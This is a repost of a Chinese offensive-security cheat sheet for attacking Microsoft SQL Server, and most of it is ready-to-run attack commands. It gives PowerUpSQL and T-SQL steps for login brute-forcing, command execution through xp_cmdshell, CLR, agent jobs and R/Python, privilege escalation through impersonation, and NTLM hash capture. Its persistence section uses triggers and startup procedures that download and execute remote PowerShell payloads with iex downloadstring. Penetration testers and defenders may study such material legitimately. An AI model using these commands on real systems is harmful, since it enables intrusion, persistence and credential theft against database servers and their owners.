前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >MSSQL 备忘录

MSSQL 备忘录

作者头像
Khan安全团队
发布于 2022-07-13 00:24:35
发布于 2022-07-13 00:24:35
2.5K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

数据库枚举的基本 SQL Server 查询

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#View all db in an instance
Get-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"

#View all tables
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES" 

#View all cols in all tables in a db
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"

#View data in table
Get-SQLQuery -Instance <instance> -Query "USE Employees;SELECT * FROM ITEmployees"

枚举 SPN / 查找 MSSQL 服务器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#TCP/UDP port scan
Get-SQLInstanceScanUDP

#DB in the domain
Get-SQLInstanceDomain

#Local DB
Get-SQLInstanceLocal

收集信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

检查访问

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose

枚举数据库用户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLFuzzServerLogin -Instance <instance> -Verbose

检查模拟权

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLAudit -Verbose -Instance instance.domain.local

枚举 SQL Server 链接

  • 数据库链接允许 SQL Server 访问外部数据源,如其他 SQL Server 和 OLE DB 数据源。
  • 在 SQL 服务器之间的数据库链接的情况下,即链接的 SQL 服务器,可以执行存储过程。
  • 数据库链接甚至可以跨林信任工作。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLServerLink -Instance <instance> -Verbose
#Or
select * from master..sysservers

枚举数据库链接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLServerLinkCrawl -Instance <instance> -Verbose
#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

枚举域用户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose

命令执行xp_cmdshell

  • 在目标服务器上,任何一个xp_cmdshell都应该已经启用;
  • 如果启用rpcout(默认禁用),xp_cmdshell可以使用以下命令启用:
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"
  • 如果rpcout被禁用但我们是sa,则可以使用EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true'。

通过 DB 链接执行的命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'

#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

使用 PowerUpSQL:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami

扩展存储过程

  • 充当 SQL 服务器扩展的 DLL。DLL 需要在磁盘上。
  • 在 DLL 中注册每个扩展存储过程都需要 sysadmin 权限。
  • 以服务帐户的权限执行,并在 SQL Server 的进程空间中运行。
  • DLL 可以具有任何文件扩展名,也可以从 UNC 路径或 Webdav 加载。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"

列出现有的扩展过程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLStoredProcedureXP -Instance <instance> -Verbose

CLR 程序集

  • CLR(Common Language Runtime)是.NET框架提供的运行时环境。SQL Server 支持 CLR 集成,它允许通过导入 DLL 来编写存储过程和其他内容。
  • CLR 集成默认关闭,默认情况下需要系统管理员权限才能使用它。创建程序集、更改程序集或DDL_Admin角色也可以使用它。
  • 执行以服务帐户的权限进行。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\192.168.15.2\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME 
[my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

-- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

使用 PowerUpSQL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

#Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose

#List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose

Ole 自动化程序

  • 允许使用 SQL 查询使用 COM 对象的系统存储过程。
  • 默认关闭。启用它需要 syadmin 权限。
  • 执行权限,sp_OACreate也sp_OAMethod可用于执行。
  • 执行以服务帐户的权限进行。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

代理工作

  • SQL Server 代理是执行计划任务或作业的 Windows 服务。
  • 可以调度、执行作业以响应警报或使用sp_start_job存储过程。
  • 需要 sysadmin 角色才能创建作业。
  • 也可以使用在 msdb 数据库中具有SQLAgentUserRole、SQLAgentReaderRole和SQLAgentOperatorRole固定数据库角色的非系统管理员用户。
  • 如果未配置代理帐户,则使用 SQL Server 代理服务帐户的权限执行。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'

-- CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob' 
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'

使用 PowerUpSQL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript

其他脚本:

R

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- Grab Net-NTLM hash
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Or
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'

Python

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

PowerUpSQL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#R
Invoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

#Python
Invoke-SQLOSCmdPython -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

权限提升

对系统管理员公开 - 模拟

可以通过User Impersonation来实现Execute AS

检查模拟权

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose

模拟用户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose

对系统管理员公开 - 值得信赖的数据库

  • is_trustworthy_on用于指示 SQL Server 实例是否信任数据库及其内容的数据库属性 ( )。
  • 当 TRUSTWORTHY 关闭时,模拟用户(通过使用 EXECUTE AS)将仅具有数据库范围的权限,但当 TRUSTWORTHY 打开时,模拟用户可以执行具有服务器级别权限的操作。这允许编写可以执行使用服务器级别权限的代码的程序。
  • 如果 TRUSTWORTHY 设置设置为 ON,并且 sysadmin(不一定是 sa)是数据库的所有者,则数据库所有者(具有 的用户db_owner)可以将权限提升到 sysadmin。

寻找值得信赖的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases

PowerUpSQL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose

寻找 db_owner 角色

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use <database>
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM 
RIGHT OUTER JOIN sys.database_principals AS DP1 
ON DRM.role_principal_id = DP1.principal_id 
LEFT OUTER JOIN sys.database_principals AS DP2 
ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R'
ORDER BY DP1.name;

执行为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EXECUTE AS USER = 'dbo'
SELECT system_user
EXEC sp_addsrvrolemember 'domain\user','sysadmin'

公共服务帐户

UNC 路径注入

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2

服务帐户到 SYSTEM

持久性 - 启动存储过程

每次重新启动 SQL 服务时重新启动的过程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- Create a stored procedure
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

-- Mark the stored procedure for automatic executio
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload

-- List stored procedures marked for automatic execution:
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

触发器

DDL 触发器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

DML 触发器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

登录触发器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;

登记处

将xp_regread(作为系统管理员)与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbose

https://hideandsec.sh/books/cheatsheets-82c/page/mssql#bkmrk-enumerate-sql-server

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
可以,大佬,互粉一下
可以,大佬,互粉一下
回复回复点赞举报
推荐阅读
智能营销增益(Uplift Modeling)模型——模型介绍(一)
Uplift Modeling在智能营销中非常重要,一般来说个性化营销人群中存在四类:
悟乙己
2021/12/07
12.6K0
智能营销增益(Uplift Modeling)模型——模型介绍(一)
因果推断笔记——数据科学领域因果推断案例集锦(九)
这部分只是抛砖引玉贴一些看到的非常好的业内方案。 因果推断在很多领域都有很有意思的应用,值得收藏。
悟乙己
2021/12/07
5.1K0
因果推断笔记——数据科学领域因果推断案例集锦(九)
因果推断学习笔记三——Uplift模型「建议收藏」
因果推断在互联网界应用主要是基于Uplift model来预测额外收益提升ROI。Uplift模型帮助商家计算人群营销敏感度,驱动收益模拟预算和投放策略制定,促成营销推广效率的最大化。同时如何衡量和预测营销干预带来的“增量提升”,而不是把营销预算浪费在“本来就会转化”的那部分人身上,成为智能营销算法最重要的挑战。
全栈程序员站长
2022/11/15
12.6K0
因果推断笔记——入门学习因果推断在智能营销、补贴的通用框架(十一)
因果推断笔记——因果图建模之微软开源的dowhy(一) 因果推断笔记—— 相关理论:Rubin Potential、Pearl、倾向性得分、与机器学习异同(二) 因果推断笔记——python 倾向性匹配PSM实现示例(三) 因果推断笔记——双重差分理论、假设、实践(四) 因果推断笔记——因果图建模之微软开源的EconML(五) 因果推断笔记——工具变量、内生性以及DeepIV(六) 因果推断笔记——自整理因果推断理论解读(七) 因果推断笔记——uplift建模、meta元学习、Class Transformation Method(八) 因果推断笔记——数据科学领域因果推断案例集锦(九) 因果推断笔记——CV、机器人领域因果推断案例集锦(十)
悟乙己
2021/12/07
1.9K0
因果推断笔记——入门学习因果推断在智能营销、补贴的通用框架(十一)
基于uplift模型的营销增益
我们需要识别出TR群体进行营销刺激,对于TN和CR群体可以不发放优惠券以减少成本。而CN群体比较特殊,如果想尽可能的减少成本,可以选择不发放优惠券,若想提高用户的转化则可以选择发放优惠券进行刺激。
HsuHeinrich
2023/08/10
6540
基于uplift模型的营销增益
因果推断笔记——uplift建模、meta元学习、Class Transformation Method(八)
智能营销增益(Uplift Modeling)模型——模型介绍(一) 智能营销增益(Uplift Modeling)模型——pylift库的使用(二)
悟乙己
2021/12/07
6K0
因果推断笔记——uplift建模、meta元学习、Class Transformation Method(八)
因果推断与反事实预测——利用DML进行价格弹性计算(二十四)
经济学课程里谈到价格需求弹性,描述需求数量随商品价格的变动而变化的弹性。价格一般不直接影响需求,而是被用户决策相关的中间变量所中介作用。假设 Q 为某个商品的需求的数量,P 为该商品的价格,则计算需求的价格弹性为,
悟乙己
2022/05/09
4.2K0
因果推断与反事实预测——利用DML进行价格弹性计算(二十四)
智能营销增益(Uplift Modeling)模型——pylift库的使用(二)
上一篇【智能营销增益(Uplift Modeling)模型——模型介绍(一)】仔细介绍了理论部分,本篇主要是算法库pylift的介绍。 在【营销增益模型实战-Uplift Model原理及应用】一文中提到:
悟乙己
2021/12/07
4K0
智能营销增益(Uplift Modeling)模型——pylift库的使用(二)
干货 | 携程火车票基于因果推断的业务实践
携程作为旅游平台,跟用户需求息息相关,理解和识别各个策略/系统对转化/收益的因果关系尤为重要,在这个过程中需要将影响因变量的其他因素进行控制,但这些因素通常是复杂且难以测量的。在关系识别困难的情况下,如何使用更为科学的方法,对策略进行微观和宏观的建模分析,如何系统性的评估各种策略的长期影响,是要解决的重要问题。
携程技术
2023/09/06
9320
干货 | 携程火车票基于因果推断的业务实践
活动、节假日、促销等营销方式的因果效应评估——方法模型篇(二)
笔者近两年都在做智能营销方面的探索,不过最近想稍微切换自己的研究赛道,所以最近想把智能营销方面细枝末节的一些思考发出来。 关于活动、节假日、促销等营销方式的因果效应评估前篇是《活动、节假日、促销等营销方式的因果效应评估——特征工程篇(一)》是把给入模型时特征加工的方式列举一下,本篇是想简单总结如何评价一个活动营销方式的好坏;当然方法本身不胜枚举,只能在有限视野里面进行归纳。
悟乙己
2022/05/11
4.5K0
活动、节假日、促销等营销方式的因果效应评估——方法模型篇(二)
【实践案例分享】阿里文娱智能营销增益模型 ( Uplift Model ) 技术实践
导读:随着移动互联网和人工智能技术的发展,智能化营销正渗透到各行各业。如何衡量和预测营销干预带来的"增量提升",而不把营销预算浪费在"本来就会转化"的那部分人身上,成为智能营销算法最重要的挑战。我们以Uplift Model为基础,构建营销增益预测模型,帮助商家锁定营销敏感人群,驱动收益模拟测算和投放策略制定,促成营销推广效率的最大化。本文将分享营销增益模型的原理和常见的建模及评估方法,并以淘票票智能票补为例介绍Uplift Model技术的实践经验。
木东居士
2020/04/26
11.7K0
【实践案例分享】阿里文娱智能营销增益模型 ( Uplift Model ) 技术实践
因果推断笔记——因果图建模之微软开源的EconML(五)
微软EconML简介:基于机器学习的Heterogeneous Treatment Effects估计
悟乙己
2021/12/07
6.8K1
因果推断笔记——因果图建模之微软开源的EconML(五)
因果推断笔记——因果图建模之Uber开源的CausalML(十二)
其余两篇开源项目的文章: 因果推断笔记——因果图建模之微软开源的EconML(五) 因果推断笔记——因果图建模之微软开源的dowhy(一)
悟乙己
2021/12/07
5.2K0
因果推断笔记——因果图建模之Uber开源的CausalML(十二)
因果推断笔记——自整理因果推断理论解读(七)
之前有整理过一篇:因果推断笔记—— 相关理论:Rubin Potential、Pearl、倾向性得分、与机器学习异同(二) 不过,那时候刚刚开始学,只能慢慢理解,所以这边通过一轮的学习再次整理一下手里的笔记。
悟乙己
2021/12/07
11.4K0
因果推断笔记——自整理因果推断理论解读(七)
因果推断笔记——python 倾向性匹配PSM实现示例(三)
因果推断笔记—— 相关理论:Rubin Potential、Pearl、倾向性得分、与机器学习异同(二) 因果推断笔记——因果图建模之微软开源的dowhy(一)
悟乙己
2021/12/07
5.2K0
因果推断笔记——python 倾向性匹配PSM实现示例(三)
干货 | 携程火车票短信召回算法优化实践
互联网蓬勃发展的今天是流量为王的时代,但随着流量红利逐渐消失,获客成本的日益增高,用户留存成为各大互联网公司的重点关注问题,其中流失用户的召回在当今的流量红海市场中显得尤为关键,为此,基于大数据和机器学习的智能营销技术应用而生。
携程技术
2023/09/06
5430
干货 | 携程火车票短信召回算法优化实践
因果推断DiD方法在游戏数据分析中的实践
我们在日常数据相关的工作中,常常需要去推断结果Y是否由原因X造成。“相关性并不意味着因果关系”,相信做数据分析的同学都明白这个道理。有一个喜闻乐见的例子:夏天海岸,鲨鱼袭击事件较其他季节多20%,同时冰淇淋销量比其他季节多100%,冰淇淋销量和鲨鱼袭击事件成正相关关系,得出结论销售冰淇凌会导致鲨鱼袭击。这实际上是违背常识的。
曲奇
2022/01/21
2.3K0
因果推断DiD方法在游戏数据分析中的实践
因果推断笔记——DML :Double Machine Learning案例学习(十六)
核心论文: V. Chernozhukov, D. Chetverikov, M. Demirer, E. Duflo, C. Hansen, and a. W. Newey. Double Machine Learning for Treatment and Causal Parameters. ArXiv e-prints
悟乙己
2021/12/07
8.7K0
因果推断笔记——DML :Double Machine Learning案例学习(十六)
微信基于 StarRocks 的实时因果推断实践
因果推断的核心概念是,从数据中推断一个变量对另一个变量的影响程度。简单来说,它帮助我们了解因果关系的存在和影响力。例如,如果我们上线了一个新的算法模型,能否提升 DAU(日活跃用户)?又或者一个新的产品UI能否增加点击率?这些问题本质上是在问:我们当前所采取的措施是否有效?做得是否正确?因果推断正是用来回答这些问题的,它帮助我们做出科学的决策。
StarRocks
2025/03/13
1210
微信基于 StarRocks 的实时因果推断实践
因果推断杂记——因果推断与线性回归、SHAP值理论的关系(十九)
第一个问题也是从知乎的这个问题开始: 因果推断(causal inference)是回归(regression)问题的一种特例吗?
悟乙己
2021/12/15
3.2K0
因果推断杂记——因果推断与线性回归、SHAP值理论的关系(十九)
推荐阅读
智能营销增益(Uplift Modeling)模型——模型介绍(一)
12.6K0
因果推断笔记——数据科学领域因果推断案例集锦(九)
5.1K0
因果推断学习笔记三——Uplift模型「建议收藏」
12.6K0
因果推断笔记——入门学习因果推断在智能营销、补贴的通用框架(十一)
1.9K0
基于uplift模型的营销增益
6540
因果推断笔记——uplift建模、meta元学习、Class Transformation Method(八)
6K0
因果推断与反事实预测——利用DML进行价格弹性计算(二十四)
4.2K0
智能营销增益(Uplift Modeling)模型——pylift库的使用(二)
4K0
干货 | 携程火车票基于因果推断的业务实践
9320
活动、节假日、促销等营销方式的因果效应评估——方法模型篇(二)
4.5K0
【实践案例分享】阿里文娱智能营销增益模型 ( Uplift Model ) 技术实践
11.7K0
因果推断笔记——因果图建模之微软开源的EconML(五)
6.8K1
因果推断笔记——因果图建模之Uber开源的CausalML(十二)
5.2K0
因果推断笔记——自整理因果推断理论解读(七)
11.4K0
因果推断笔记——python 倾向性匹配PSM实现示例(三)
5.2K0
干货 | 携程火车票短信召回算法优化实践
5430
因果推断DiD方法在游戏数据分析中的实践
2.3K0
因果推断笔记——DML :Double Machine Learning案例学习(十六)
8.7K0
微信基于 StarRocks 的实时因果推断实践
1210
因果推断杂记——因果推断与线性回归、SHAP值理论的关系(十九)
3.2K0
相关推荐
智能营销增益(Uplift Modeling)模型——模型介绍(一)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档